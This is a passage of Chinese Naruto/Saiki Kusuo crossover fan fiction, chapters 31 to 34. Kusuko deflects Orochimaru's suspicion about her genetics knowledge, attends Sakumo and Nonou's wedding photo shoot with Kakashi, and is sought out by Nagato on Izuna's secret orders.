只是翻到了最后,他的手指一顿。 一张白纸上,只有第一行是他写的一句话。 “血继限界的遗传为什么只 能在男性血脉中流传?”旁边还重重点下了三个点。 ‘这……应该是我在思考的时候,随手写下的?’大蛇丸回忆起来,自己在离开木叶前,正在思考在实验体上遇到的一种血继限界,那种血继限界不像写轮眼或者白眼,只在男性一脉流传,还有可能导致遗传性的疾病。 这原本是他的研究课题,现在底下却写下了一行字。 “可以猜想该血继限界的基因位于Y染色体,因此只能在男性间流传。” 这行字写的不甚认真,回答的也很简单,但是却像是天经地义一般。 可是大蛇丸此刻,连什么是基因都不知道呢! “良渚。” “是,大蛇丸大人。” 大蛇丸的眼珠转了过去,声音微沉,“齐木楠子,现在在哪里?” “呃?”良渚眨了眨眼睛,“应该,是回去了吧。” “什么?”大蛇丸蹙起了眉。 良渚有些恍惚,“因为她说,她要朝九晚五,绝不加班呀。” ----------------- 楠子确实是想要朝九晚五,她现在可是童工!童工! 可遗憾的是,这个世界上,有这样意识的,似乎就只有她一个。 旗木卡卡西,木叶备受瞩目的天才中忍,汇报完毕之后,连太阳都已下山。 ‘糟糕!有点晚了。’他蹙紧了眉,快速奔跑,来到了最近的花店前。 “老板,还有花吗?”他说着,走了进去。 “卡卡西啊,还有哦。不过,你回来了,就代表着亥一也回来了吧?” “是,亥一前辈和鹿久前辈他们在一起呢,说是直接回家。” “哈哈,平安就好。”店主是山中亥一前辈的妈妈,此刻听闻儿子安全的消息就露出了慈祥的笑容,“你想要买花?买什么呢?” “嗯。”卡卡西转过一圈,看了几眼那盛开的红玫瑰,最后目光还是落在了百合上面,“麻烦您帮我做个花束吧,小一点就行。” “没问题,我再附赠你一些辅材吧。” 卡卡西连忙说不用,但是店主阿姨已经动作起来,一边装饰花束,一边和卡卡西闲聊。 “你的队友是宇智波带土吧?前段时间,他也来买花了哦。买了一束红玫瑰,不知道要送给谁?哈哈,青春真好啊,想当年我……” 卡卡西听着,脑袋里却想到了带土的事。 ‘不会是要和琳告白吧?那个傻瓜,时机也选的太差了吧?’自诩从书上学到很多,又经验丰富的旗木卡卡西干脆捂住了额头。 在他看来,可至少要挑一个正式的场合,但不能给对方太多的压力。 就像是现在,如果送玫瑰目的性就太明显了,楠子一定会…… 【等等!什么!为什么这里会有玫瑰?!】 旗木卡卡西看着放在孤儿院窗台上的一束玫瑰,面罩下的嘴微微张大又慢慢闭合。 【不,也有可能是父亲买给野乃宇前辈的吧?唔,应该是这样。】 可他心中警铃大作,一时间都没发现坏心眼的药师兜靠了过来。 “啊!是卡卡西哥哥啊!你说这个玫瑰?”药师兜瞟了眼卡卡西手上的百合花束,嘴角抿了起来,似是不经意地说,“是楠子姐带回来的哦,不知道是谁送的哩!一周了都还没谢,好看吧~嘿嘿嘿!” 31.考验 ‘呀嘞呀嘞,好像又有人在败坏我的名声。’ 原本正准备招呼孤儿院的小孩洗漱的楠子不得不打开了纸格门,“兜,去和乌鲁西一起帮孩子们洗漱吧。” “呃?好的,楠子姐!”药师兜说着跑来,最后还看了眼卡卡西,才在楠子的警告目光下跑远。 ‘怎么会长歪了呢?’楠子蹙着眉,看着药师兜的背影,实在难以理解。 注意到身后人的视线,她转过头,就对上了一双黑色的眼睛。 眼角微微下垂,连眉毛都显得无精打采,像是只灰扑扑的小狗。 ‘哎呀,要是这个时候不要盯着我的手腕,想什么俳句就好了。’有些不自然地将原本挽起的袖子拉下,楠子走上前。 “那是带土买的花,算是……感谢我帮纱织奶奶找到药。”她解释着。 卡卡西似是微微一怔,笑了起来,“原来是这样啊!” 【骗人的吧,就算是感谢的花,带土也不可能送玫瑰。那么……是带土向琳告白,所以失败了?随手把花给楠子了?可楠子为什么会接受?】 ‘当然是因为看他太可怜了啊。’楠子有些无语。 【不会是因为看他太可怜了吧?可恶。】卡卡西想着。 这反而让楠子的步伐一滞。 不愧是卡卡西,居然一眼就将事情猜的差不多了。 可是啊,就算卡卡西是带土的挚友,她也不能把带土告白失败的事随便说,这可事关男孩,哦不,男人的自尊心呢。 站在胡思乱想的卡卡西身边,楠子垂眼看向卡卡西的花,“这花是送给野乃宇院长的吗?是哦,已经怀孕四个月了,确实很难受。真奇怪,我就没有看到过朔茂大叔买花呢。” 她微微歪着头,眼睛似是纯然的疑问,连语气也颇为平静。 但是卡卡西就是背后一凉。 【啊啊啊!父亲!我可真是风评受害!】卡卡西咬了一下牙,可是能怎么办呢?这个时候如果说自己的花是买给楠子的,她也不会高兴! 于是,卡卡西只能扯开了一个咬牙切齿的笑,“是啊,是父·亲让我带来的。” “哦……”为了父亲,还真是努力呢。楠子想着,但是不知道为何嘴角就是想要牵起。 ‘呀嘞呀嘞,我可不能变成随意玩弄他人心意的坏女人哦。’她轻咳了一声,抬起手,“那把花交给我吧,我把它插到花瓶里,这样才会更长久。” 楠子说着,想要从卡卡西手中接过花束,可一拽之下,居然没有拽动。 再抬眼去看卡卡西,脑海里就传来巨大的心音。 【楠子明明应该知道的吧?】 【为什么会这样啊……】 【拿走了带土的玫瑰,为什么不接受我的……】 ‘停停停!现在来这套,你还真是险恶啊卡卡西。’楠子微微张嘴,“你生气了吗?” 卡卡西一愣。 楠子目光一闪,干脆转过身,从插着玫瑰的那个花瓶中抽出了一支。 “孩子们都很喜欢,所以你还是别生气了,送给你吧。” 她递出了那只玫瑰,嘴角不自觉地扯高了一点,“这是带土的花,收下吧,反正,他也很爱你啊。” 庞杂的心音骤然停下,楠子将花塞在了卡卡西手中,而后抱着那束百合“逃离”了房间。 不由得擦了擦额角的汗,她不由得想到: ‘呼,可真是难缠啊,旗木卡卡西。’ ----------------- 难缠的不止旗木卡卡西一个,还有大蛇丸。 ‘所以说,我就是不擅长应对高智商帅……不行啊,楠子,认为大蛇丸帅,就输了。’ 齐木楠子坐在桌前,看着对面的大蛇丸,自以为露出了礼貌性的笑容,实际上却只让人觉得冷漠。 ‘等等……为什么要认为我的笑容冷漠啊?你难不成期待着我像是那时候的制作人一样用pikapika的眼神看着你吗?……我勒个去!大蛇丸你居然真那么想吗?’ 她怎么不知道这个人这么逗的?! 楠子对大蛇丸大改观! 可再怎么改观,也改不了大蛇丸满腹算计的事实。 他一袭黑色的服装,头发梳得整齐,露出了亲和的微笑。 “楠子,你之前做的题目,我已经看过了。非常出色!简直出乎了我的意料!” 他停顿了一下,是在等她说谢谢。 于是,楠子就顺着他的心意道:“谢谢大蛇丸大人给我这个机会,我也学到了很多。” 看吧,礼貌的话她也是会说的,但是干嘛说她虚伪啊? ‘想要让我道谢,我真道谢了又不开心,你们这帮高智商的家伙真的好难搞啊!原本还想稍微以平和一点的形象和大家相处的。’ 现在,楠子干脆虚下了眼睛,“大蛇丸大人您找我是有什么事吗?” “是有啊。”大蛇丸笑了起来,“我听说你猜拳赢了所有根组织的忍者。” ‘呵?是因为觉得我都赢了,所以奇怪吗?’ 但楠子早就想好了借口。 在她原本的世界,猜拳每次都赢可能会让人觉得奇怪,但是在这个世界里,只要推到心理操纵和观察技巧上就可以。 于是楠子平静道:“并不是所有根组织的忍者,是一部分前辈。而且只是一些不值一提的小技巧而已。” “哦。”大蛇丸了然点头。 他的头微微斜到一边,长长的黑发自肩头披散而下,眼睛里也闪出异样的光,“其实你也应该明白,知识的海洋辽阔无边。我稍微了解了一下,只是很奇怪,你居然每次猜拳,都刚好找到了熟悉那个领域的前辈来进行询问,毕竟,就算你问我,怎么去写情爱,我也是答不上来的呀?” ‘为什么要在一个12岁小女孩面前提情爱啊!等等……现在的重点不是这个。’ 楠子感觉到自己的背上冒出了一层冷汗……唔,那当然只是一种感觉,因为她能够控制自己的身体。 可是大蛇丸的敏锐还是让她措手不及。 如果一开始他就想到也就罢了,但是他的心音居然一点都没有提到这件事,就在这里问了出来,导致楠子一点儿准备也没有。 大意了,真是大意了。 楠子眨动了一下眼睛,脑海中一边思考着是否可以用超能力改变现在的处境,一边给自己找出了理由。 “只需要观察就可以了。”她神色古井无波,“每位前辈都喜欢带着自己的笔记本,我想那应该是很重要的东西。” 她暗示着自己通过观察各位前辈的笔记和研究,推测出了他们各个擅长什么。 “所以你就偷看了?”大蛇丸眯起了眼睛。 楠子坐正了一些,神色恰到好处地显露了一些认真,仿若她做错了事,又想要辩解。 “那应该不算是偷看。”她正色道,“他们光明正大地摆了出来,我没有不去注意的义务。” 这话似乎让大蛇丸很满意,他连心音里也充满了称赞。 ‘就是像这样称赞我 不要脸,也不会让我觉得开心罢了。’ 楠子绷着脸,其实心里已经有些抓狂了。 可这个时候,大蛇丸的心音还是让她的眼皮再次跳了跳。 【如果说选择正确的人帮助自己还算能够理解,那么关于“基因”的那个回复究竟是……】 ‘基因?糟糕,我忽略了,这里的研究,好像确实还没有深入到这个地步。’ 与其说是基因,不如说是遗传学。 楠子来到这里的时候虽然只有6岁,但是她的爸爸妈妈可从没限制过她看电视,哥哥的书也是随便翻的。 关于XY染色体的遗传规律,也不是什么深入的知识,所以她在看到那道题的时候,就顺着自己的知识体系答了出来。 但是,原来这个世界还没有研究到这个地步吗? ‘快动起来啊!大脑,到底要怎么解释?’ 楠子的大脑在飞快运转,连眼前的大蛇丸动作都变得迟缓,但是她还是跟着他的心音,抓住了他话语的尾巴。 “所以,你是怎么知道,所谓的Y染色体的?” 时间骤然变回1.0倍速,她的目光盯住了大蛇丸的,极尽真诚,“是……从一本书里翻到的,有什么问题吗?” “嗯?”大蛇丸蹙起了眉,“我怎么不记得有这样一本书。” “就在图书室的书架里。”楠子说,“我……” 她的睫毛以肉眼看不到的速率颤动了一下,她忽而想到:‘等等,这是个陷阱。如果说记不清楚了的话,就完全不符合我天才少女的人设了吧?毕竟能完美答出所有的题,而且还只过了这么几天,就忘记了原本自己借的书叫做什么,也太奇怪了。’ 她微微低了一下头,而后笑了起来,“需要我将那本书拿过来吗?大蛇丸大人?” “啊,你就去拿吧。” ‘果然。’楠子起身。 根组织的布局,她已经很熟悉。 转过几个转角就到达了前辈看守的图书室。 “一白前辈,我来为大蛇丸大人找本书。”她平静道。 “哦,好的。你说是哪本,我来帮你找就好。” “没事的,我自己来吧,名字有点记不清楚了。” “哦,好。” 一白前辈没那么多坏心眼,看着楠子走进了图书室。 ‘要用哪本呢?’楠子脑海中闪过无数书名,目光也在书架上搜寻。 《血继限界概论》《查克拉:忍者的秘密》《生命复刻理论》…… 啊……都不够合适。 直到她的眼神落在其中一本上。 楠子的脚步停顿,“唔,是这本啊。” 她将书拿下。 透视、凭空造物、知识复写…… 一时间几项超能力齐出。 而后,将这本书递了出去。 “就是这本,大蛇丸大人,您看,就写在这里。” 她指向了其中一张。 那新增的一页上,字体和新旧都和其他页没有任何差别,只是多了一小段话而已。 “关于人类遗传的规律,我有个猜想……” 楠子盯着正皱眉看着的大蛇丸,仔细分辨着他的心音。 ‘时间跳跃影响太大,如果他不信的话,我也只能把他的这段意识删掉了,可是……’ 那时候谁也不知道大蛇丸的脑袋里会被随机塞入什么想法。 ‘我,可真不想那样干啊。’ 楠子望着大蛇丸,嘴角的笑意渐渐浅淡。 32.拍照 “嗯?是这里吗?”【我怎么不记得?】 大蛇丸看着那句话,而后翻看这本书的封面,眉头就松了松。 滑稽的封面上有着一个简笔画人,比着大拇指,一手拿骰子,傻傻的脸还在吐舌头,最上面写着一行字——《一起落入赌博的深渊吧!》。 【到底是谁买来的这本书?】 他皱眉想着,又随意翻看了一下,就放下。 “我想你应该是被误导了。”大蛇丸又牵起嘴角,抬起那双兽瞳,“这本书没有什么价值,那也只是个猜想。” ‘不,那不是啊,你可是错过了真理呢。’楠子面无表情,“是吗?那定然是因为我学识不足的缘故。” “没关系,以你的年纪,可以学习的时间还有很多。”大蛇丸站起身,垂目看向了楠子。 “之前只是有关于理论的知识,接下来就是实践了。根组织的研究很多,你有什么想要了解的方面吗?” ‘完全不知道呢。’楠子越发觉得这个世界奇怪,就她看来,她齐木楠子才来了一周,连查克拉都没有搞清楚,要怎么参与大蛇丸大人的实践呢? 于是她垂下眼睛说:“我还是想继续学习,毕竟,对于查克拉的事,我还不是很懂。” “是吗?”大蛇丸有些意外。 那可都是小学的知识,而按照大蛇丸的身份,至少是大学博导了! 他点点头,“就由一白先指导你吧。不过你也先做好准备,等到几天后,我会亲自指导你三身术。”【呵,这样的话,就算是你也不能再伪装成白痴了吧?】 ‘呀嘞呀嘞,大蛇丸,看来你还不明白这件事对于我的难度呢。’楠子微微低头,也没想到大蛇丸居然真的会想要指导她。 “好的,谢谢大蛇丸大人。” 看着大蛇丸走远,而后回到了图书室。 “一白前辈,”她垂眸看着正趴伏在桌上写着什么的一白,开口道,“我这里有一个项目,不知道能不能通过根组织新的资金审批,能麻烦你帮我看一下吗?” ----------------- 微风吹拂,太阳微笑,今日的木叶又是祥和的一天。 天才中忍旗木卡卡西正奔跑在繁忙的街道上,手中还小心地护着一束花束,直到跑到了一个照相馆的招牌前,才呼出口气,整了整衣襟,推门进入。 “卡卡西,你回来了啊!”旗木朔茂站起身,迎上了卡卡西,也对上了他那双无语的眼睛,顿时有些尴尬,小声说,“抱歉啊,卡卡西,我是真的没有想到。” ‘就算没有想到,我之前也提醒过你了吧,父亲?’卡卡西虚着眼想。 自从上次在送花事件中被楠子“嫌弃”,他就早提醒了父亲需要给野乃宇阿姨送礼物。 可是就在今天要拍结婚照的时候,父亲居然能忘记买花,这可真的是…… 他抹了把头上的汗,看着父亲转到了另外一边将花放好,才似是不经意地说:“父亲,今天,就只有你和野乃宇阿姨吗?” “嗯……”旗木朔茂说着,实际上心思根本没在卡卡西的身上。 他理了理自己身上的和服衣带,才像是想起什么一样,说:“你想问楠子是吧?不清楚呢。” 卡卡西看着自家父亲那像是什么都没想的脸,又想要痛苦地捂住额头了。 ‘父亲,怎么总是这样?不会是凭借着一张脸找到老婆的吧?等等……那么我……?’ 他正思考着自己凭借一张帅脸,让楠子告白的可能性。 可是楠子分明不是那样的女孩,尤其,他也并不希望楠子是因为喜欢帅哥,所以才答应和他在一起。 毕竟,他期望的,可是纯爱啊! 在这个时候,他们小队的调性倒是协调一致了。 结婚照很快开拍了。 卡卡西站在一边,看着父亲望着穿着白无垢的野乃宇阿姨眼露感动,心中自是复杂难言。 脑海中对于母亲的记忆早已因为年幼和时光而显得浅淡,可是到了他这个年纪,让他真的接纳一个“母亲”也有些困难。 ‘不行啊,卡卡西,如果你因此而难受的话,父亲……大概会痛苦吧?’ 他是这样想的,可是过往的种种,似乎又显露出,他对于父亲,说不定根本没有那么重要。 如果那样重要的话,为什么不早早告诉自己呢? 为什么不会记得自己任务归来的时间,为什么没有注意到我的变化呢? 偏偏他又是极其明白道理的。 母亲已经逝去多年,父亲一直忙于任务,孤孤单单。 他也不可能因为自己的私心,就让父亲不再结婚,何况……这还牵扯到了另外一个生命。 面前一高一矮的两人郎貌女才,对视间就流泻出幸福的笑意。 摄影棚的灯光强烈,连同底下的背景布,将这个世界完美地分成了两条线。 他站在这边,而父亲站在那边。 照相机的镁光灯“砰”的一闪,卡卡西猛地回过神来,继而就发现自己又向着阴暗那边去想了。 ‘可恶,为什么我就是不能坦然恭喜父亲呢……’ 他自心底升起厌恶,面对父亲的笑容,勉强笑了笑。 “我去拿点水。”他说着,想要转身。 “先拍完,再去吧。” 卡卡西的动作顿了一下,而后以更快的速度转了过去。 齐木楠子的身影撞入眼内,她似乎才从换衣间里出来,有些匆忙,正在整理和服的腰带。 嫩黄色的和服如同初春绽放的花蕊,由浅到深铺陈出美丽的桔梗花。金色的腰带搭配上紫色的绑带,依旧显得她身材纤细,及耳的短发并未特意整理,而是插上了一枚精致的发梳。 这样的楠子看起来比平日里冷漠的模样亲和许多,就如同春天的精灵,或者是将绽未绽的花朵。 卡卡西只顾着发愣,因而没有注意到楠子因他思考的声音,动作停滞了一瞬。 她自然没有什么脸红心跳的情况出现,因为这是卡卡西的惯常操作。 ‘如果能把夸我的心思,放在积极思考上面就好了,颓丧的卡卡西。’ 她可是因为听到了对方沮丧的心音,所以不得不加快了动作,走了出来的啊。 楠子向前走着,却听见旗木朔茂有些讶异的声音,“楠子,你也要来拍吗?” “当然了,我可是孤儿院的代表呢。”她说着,抬手一拍卡卡西,“可别只想着和卡卡西拍照啊,我可是女方的家人。” “啊,是这样呢。”旗木朔茂笑了起来。 呆愣的卡卡西反而回过神,“嗯?我也要拍照吗?” 旗木朔茂反而一愣,“怎么?我没有和你说吗?”

一对父子就这样互望着,直到野乃宇对着旗木朔茂一击肘击,听到一声低呼,她无奈地笑了起来。 “我看你都穿上了新衣服,还以为朔茂已经告诉你了呢,我让楠子挑的。”她的嘴角划过一丝隐秘的笑意,注意到卡卡西睁大的眼睛,脸颊就埋在了手中的花束中,“对了,卡卡西,谢谢你的花哦。” 【这、这居然是楠子挑的衣服!】 卡卡西感觉自己的脸都在发烫,就听见楠子的声音极细极轻,“我可是被当人情卖了呢,要感激野乃宇哦。” 【又在说这样的话了,你明明知道……】 他说着,却没有去看楠子,而是借着袖子的遮掩,拉住了楠子的手。 “一、一起拍吧。” “不要。” “嗯?”卡卡西转过头,就对上了楠子的目光。 那双眼睛盈满了无奈,她轻声说:“你先去拍,而后是四人合照,最后是我,快去吧。” 她轻轻一推,就将卡卡西推入了光中。 她自己反而站在了卡卡西原本的位置,看着卡卡西和两人站在了一起。 那面罩下面的,应该就是幸福的笑意吧? ‘真是的,幸好我怕出什么意外,最后还是来了。’ 楠子有些无语。 主要是针对不靠谱的旗木大叔,明明自己在某些方面也是敏感的个性,为什么偏偏没发现自己的儿子也和自己一样呢? 不能因为卡卡西表现得很成熟,就真的把他当做大人呐。 她站在阴影里静静立着,先是三人的合照,而后是四人的,最后是自己与两人的合照。 卡卡西的心声里一直涌动着轻快的喜悦。 只是最后楠子还是忘记了卡卡西究竟是个怎样早熟的忍者。 他的心怦怦直跳,语气却自然地像是一个简单的邀约,“楠子,我们俩也拍一张吧?” “不要。”楠子十动然拒,“我下午还要去工作呢。” 她转身准备脱去身上繁复的服饰,就感觉手腕一重,卡卡西已经拉着她走到了那片灯光下。 朔茂大叔竟然也已经带着笑意摆好了椅子。 ‘啧……野乃宇,就说让你不要总把我当人情了吧?’ 楠子虚着眼去看那边偷笑的野乃宇。 可卡卡西的手抓得太紧了,又带着汗津津的湿意。 短短的几步路,走出了一往无前的气势。 将她按坐在椅子上,而后站在了一边。 即便如此,他的手掌还是放在了她的肩膀上。 那略微用力的力度,像是怕她跑掉。 ‘我当然是能跑掉的……’就像是她今天本不必来。 楠子歪着头去看卡卡西,‘糟糕呀,你也太会利用我的同情心了。’ 她这样想着,在摄影师的指挥下,慢慢摆正了头。 “只有这么一次哦。” “什么?” “砰”的一声,镁光灯闪动着,卡卡西猝不及防。 感觉到旁边人想要起身的动作,卡卡西抿了抿唇,手部用力。 “没事的,再来一次吧。”【不会只有一次的。】 “嗯?”楠子偏过头,望着卡卡西那坚定的侧脸。 终究回过了头。 ‘那你就试试看吧。’这样想着,她也露出了微笑。 33.接待 楠子没将旗木朔茂和野乃宇拍结婚照的事放在心上。 她要当科研资金小偷,花木叶的钱,办自己的事。 “一白前辈,资金批下来了,就应该好好工作,如果有相熟的忍者,也可以叫来帮忙哦。” “哦哦,好的。”一白前辈和良渚前辈不同,是个真正的书呆子,因而也思维简单。 有的时候,楠子甚至不知道一白前辈是怎么在根组织这个规则森严的团体下活下来的。 ‘大概就是靠着迟钝吧?’ 她看着手中的项目书《全面发展视角下,忍术与体术的培养与应用》,因为相对于其他科研忍者的项目,只需要很少的资金,所以很快就批下来了。 “除了木叶小学,还可以去其他小学测试,”她说着,抬起眼来,“我那边孤儿院的孩子们也可以帮忙。” “好的好的。”一白前辈乐呵呵地翻着手中的资料。 那是楠子根据大蛇丸大人给的题目,删删减减整理好的,而后又询问了擅长体术的前辈,整理出了两套测量体系,只要通过这个体系对比测评,就能得出结论,选择更好的教育方法。 他每次看了都觉得新奇呢。 ‘只有新奇是不行的,’楠子的眼镜寒光一闪,‘一白前辈,你就和旗木大叔一起,好好做孤儿院孩子们的私教吧。’ 除了找私教,楠子还有一个目的,那就是编书。 弄一本《有手就能用忍术》,或者一本《有脚就能用体术》,不仅能够教孤儿院的小孩,最重要的是…… 雨隐村根本没有人能编这种书啊!!! 说是要建立雨隐村小学,结果基础教材还是楠子从木叶偷渡过去的。 她也不想做偷书这么低端的事,但是大忍村和小忍村之间教育的不平等是天生就存在的。 指望着精英(指斑爷爷和泉奈)也不行,因为那两个人根本不会教人。 泉奈看着温柔,实际上眼中只有那个哥哥。 而宇智波斑呢…… “这样,那样,就可以了!哼,小菜一碟!”宇智波斑的火遁如同巨大的烟火,炸裂在空中,掀起阵阵烟尘,惹得其他人惊呼连连·。 他扬着下巴看向了其他人,“你们会了吗?” ‘会个脑袋呀?他们只会鼓掌了啊!你根本就是享受小孩子的崇拜目光吧混蛋!’ 楠子站在一边,脸上的显示屏直接显示出一个“=_,=|||”。 可是竟然无人能理解她。 备受期待的年迈忍者宇智波斑不适合教人,山椒鱼半藏战斗体系特殊,剩下的晓忍者哪怕是传统村落体系出身,也有这样那样的限制。 所以,楠子出手了。 ‘真希望能早点编出来啊。’她坐在桌边,一边当薪金小偷,一边品尝着咖啡果冻,看着一白前辈奋笔直书。 不是她不想工作,只是能用超能力的事,干嘛要手写呢? 想到这里,她挖取果冻的动作就是一顿。 ‘啊……好像现在已经习惯用超能力解决事情了啊。’她眨了眨眼睛,‘算了,反正都是些麻烦事。’ 看了看手边,冲着那边的药师兜叫道:“兜,咖啡果冻,要没了,再帮我去食堂拿几个。” 正在整理资料的兜一顿,回过头来,气急败坏,“不要!我绝对不要再去卖萌了!” ----------------- “咦,卡卡西,这就是旗木大叔的结婚照啊!”带土探着头看着卡卡西手中的信封。 “啊,是。”卡卡西可并非炫耀,而是这次任务就在木叶,刚好可以顺手去拿。 带土看了他一眼,立马咧开了嘴,抢了过来,“嘿!我看看!” “等等!带土!”卡卡西不及提防,就见带土一愣,而后神色立马变得揶揄。 “嘿嘿嘿嘿!这张照片,简直像是结婚照一样啊!” 他抽出其中一张,比在了卡卡西的面前。 画面中,一高一矮两个人,面朝着画面之外,坐着的女生露出了一抹浅淡的微笑,而站着的人,手放在女生的肩膀上,哪怕带着面罩,也能从那双眼睛里看出笑意。 ‘结、结婚照?!’卡卡西的脸猛地涨红,一把将照片抢了回来,“都说让你不要乱看啦!” “嘿嘿嘿!”带土还在笑,一手捅着卡卡西,“怎么样?怎么样?是告白成功了吗?” “不用你管!”卡卡西将照片装好,放在忍具包内,抱着手看着带土。 “现在可是要执行任务,不要想这些啦!” “是啦是啦!我知道啦!”带土将双手背在了脑后,可是看着卡卡西那副模样,也傻笑起来。 “喂,你们两个,不要傻笑了!” “嗯?”两个人转头看去,就看见一个菠萝头忍者,奈良鹿行,鹿久前辈的弟弟。 他右手插着兜,挑着眉,指了指后面,“人都快要来了,你们也快来。” 说着,他就转身离去,一点儿和两个年轻忍者寒暄的想法都没有。 “切!在臭屁些什么啊!”带土小声嘟哝,看向旁边的卡卡西,就有些惊讶。 虽然面对其他的忍者,卡卡西一直不算客气啦,但是现在这神色还真是难得。 “怎么了?卡卡西?” “没什么,走吧,带土,我们去汇合。”卡卡西率先向前走去。 这次的任务,正是接待来自雨隐村和岩隐村的使者。 木叶的大门处,他们两人,外加鹿行的小队,等待了没多久就见到一前一后两个队伍相继行来。 雨隐村领头的那个,正是之前见过的长门。 至于他身后的两个忍者,也同样见过,只是印象不深。 “卡卡西,好久不见。”长门和卡卡西打着招呼,紧接着就看向了繁华的木叶。 卡卡西注意到了这一点,“嗯?怎么了?” 长门回过神来,神情变得越发坚毅,“没什么。” “哦。”卡卡西微一点头,却将这件事记在了心里。 ----------------- 这一次的会谈其实都是再次确认协商好的事项,等到物资搜集完,就会由木叶的忍者交付,岩隐清点。 雨隐村的忍者自然就做保驾护航的任务。 “他们的任务佣金挣得也太轻松了吧?……呃,痛痛痛!别踩我的脚啊卡卡西!”带土小声痛呼着,可很快就注意到了前面鹿行瞪视过来的目光。 “啧!那个家伙,你还是中忍呢!” 奈良鹿行只是下忍,但是他出身奈良家,这次的任务又不是他们小队所擅长的战斗,自然是鹿行更有处置权。 “谁让你乱说话!”卡卡西瞪了带土一眼,见其他人没有注意,才解释道,“这只是第一次,之后都由雨隐村来转运,而且……这就像是收保护费一样啊。” “保护费?” 听到身后传来的声音,卡卡西的瞳孔猛地一缩,看向了身后,长门不知何时站在了那里,看到两人惊讶的模样,就露出了不好意思的笑容,“抱歉,我刚从那边过来。” 他指了指洗手间,迟疑了几秒,才低声解释道:“或许你们觉得雨隐村是沾了便宜,但是,如果不这样做的话,我们不知道何时才能阻止战争。” “阻止战争?”带土有些意外,和已经去过雨隐村,接触了晓组织的卡卡西不同,他还什么都不知道呢。 说起晓组织,长门就满是自豪,“是的,这是我的好友弥彦的理念 ,但是如果不是我们的首领栗子,就不知道什么时候能实现呢。” “弥彦?栗子?”带土满脸写着“那都是谁”,但是他到底也成为忍者许久,并没有多问。 那边,前面的接待已经结束。 现在反而是他们小队需要带着雨隐村几人四处逛逛的时候了。 “你们的小队是2个人吗?”有人好奇问。 “不是哦,我们的队友今天有别的任务。呃,当然不是因为怠慢啦!只是……只是她是医疗忍者。” “哦哦,我明白的,医疗忍者总能派上大用!” 出乎带土意外,雨隐村的忍者居然很好说话,看着周围木叶的景象也带着好奇。 那个忍者观察着周围民众们脸上的笑容,嘴角也带上了笑意。 带土走在那两个忍者中间,如鱼得水。 卡卡西见这边无事,就去看旁边的长门。 他一路似乎都有些紧绷,眉头皱着,似乎在思考着些什么,但是无论是关于方才的交易,亦或者现在的游览,都不应该让他这样焦虑。 ‘是因为什么呢?’卡卡西又想到了之前水门老师提过,长门在这边可能有内应的事。 还有另外一件事。 他的目光划过长门的满头红发。 这一头红色的头发和水门老师的女朋友玖辛奈一样。 忍界的发色多样,却少有这样纯正的红。 水门老师也在犹豫,如果现在就询问长门,可能会让玖辛奈陷入麻烦。 可是如果他真的是流落的漩涡一族的族人,那么玖辛奈就可能再次找寻到亲人,甚至连九尾也有了后继的人柱力。 ‘等等,不要去想这么卑劣的事啊卡卡西,水门老师一定不是这样想的。’ 唯独这一点,卡卡西可以确认。 虽然水门老师确实像是那个“晓”吐槽的一样,可以说是“金色死神”,但是在平常的时候,他可是异常正派的忍者。 卡卡西紧促着眉,将自己脑海中的思绪甩开,就发现本应走在身边的长门居然不见了。 ‘糟糕!’他猛地回头,就看见长门正站立在一家店的门口。 “嗯?长门,怎么了吗?”卡卡西靠近,顺着长门的目光看去。 嘈杂的店中,正播放着《最强头脑王》。 画面中,齐木楠子正面无表情地翻过自己的题板。 主持人大声吼叫:“这道题,居然只有齐木选手一个人答对了吗?!” 楠子的眼珠动了动,“我只是比较擅长数学。” 她神色平静,气定神闲,沉稳得不像是一个12岁的小女孩。 但卡卡西知道,楠子其实有很多情绪波动,却因为身世和孤儿院的原因,不得不忍耐。 ‘她现在在做什么呢?不会是在看书吧?这样说不定以后要真的带上眼镜了哦。’ 卡卡西想着,嘴角就带上了隐秘的笑容,继而被带土一撞。 “你们在做什么?哇!节目重播了啊!哈哈哈!她叫齐木楠子哦!是这一届的冠军!” 带土说着,一点儿也没注意到自己剧透了的事。 身后那两个雨隐村的忍者也新奇地看着。 只是长门一时之间,居然没有说话,只呆愣地看着电视机里正在应对决赛采访的女孩。 “你说,她叫齐木楠子?”他问。 “是啊!”带土点头,卡卡西却不知为何从心底里冒出了些不好的预感。 果不其然。 看着屏幕里的齐木楠子,长门的脸渐渐涨红了。 半晌,他低下头,声音像是突然从水管里冲出来一样,喷涌而出。 “那个,我对她一见钟情了!能拜托你们带我去见她吗?!” 34.缘由 时间往回几天。 雨之国的议事厅内,泉奈正在对长门做出最后的嘱咐。 “除了方才的任务之外,我还有一个任务要单独交给你。” “是!泉奈大人!”长门垂首。 这一次任务,原本弥彦、小南都希望能和他一同前去,但是无论是栗子还是泉奈大人都说了,希望他们三个都能独当一面,所以这次任务还是由他来领头。 “这次你到了木叶,我希望你能够和一个人接头。” “是晓吗?” 泉奈的脸转了过来,而后摇了摇头,“不,你需要找的是栗子。” “栗子大人?”长门颇有些讶异。 “是的,你也看到了她送来的那些资料了吧,但是这些资料的来路难以解释,所以我需要你以雨隐村忍者的身份,与她现在的身份交好。 “现在,我就把她的照片给你,但是你要记住,这件事,只有你能知道,就算是弥彦或者小南,你也不能告诉。” “可是……”长门有些茫然,他和弥彦、小南之间几乎没有秘密。 “长门。” 长门抬起了头,就对上了泉奈黑白色的面具,“这个任务,大概只有你能完成。” 长门忍了又忍,还是不由得问了出来,“为什么呢?泉奈大人,我觉得,还是弥彦更……” “因为栗子很敏锐,”泉奈说,“她对弥彦那种人,过敏。” 长门不知道,实际上,会对弥彦那种人过敏的,其实是泉奈。 他只是在迟疑了一会之后,沉默地点头。 而后,他就看到了栗子的照片。 一个看起来只有十余岁的小女孩,带着一副眼镜,目光却显得冷淡至极。 只是,无论那看起来软乎乎的粉色头发,还是那过于白皙的肌肤,都让她显得柔弱不堪,如同一个精致的瓷娃娃。 ‘这……就是栗子大人吗?’长门有些意外,又听见泉奈说:“你要想出办法,和她成为朋友,最好,也不要让人怀疑你们之间的关系。” 长门一怔,抬起了头。 说起来,他根本不是个开朗活泼的人,要突兀地去认识什么比自己小几岁的女孩什么的……简直比战斗一场还要难。 他颇为诚恳地把这件事说出,睁着那双具有强大力量的轮回眼,想要得到泉奈大人的指引。 而泉奈大人只是投来冷静的一瞥。 “那么,你就说你是一见钟情好了。” ‘怎么可能这样说呢?’因为这件事,长门心神不宁。 ‘怎么办?还是自己想想办法,和她搭上话吧。如果是忍者的话,那么战斗?不……那难道不是对木叶的挑衅吗?那么要怎么办?’ 他甚至去问了弥彦。 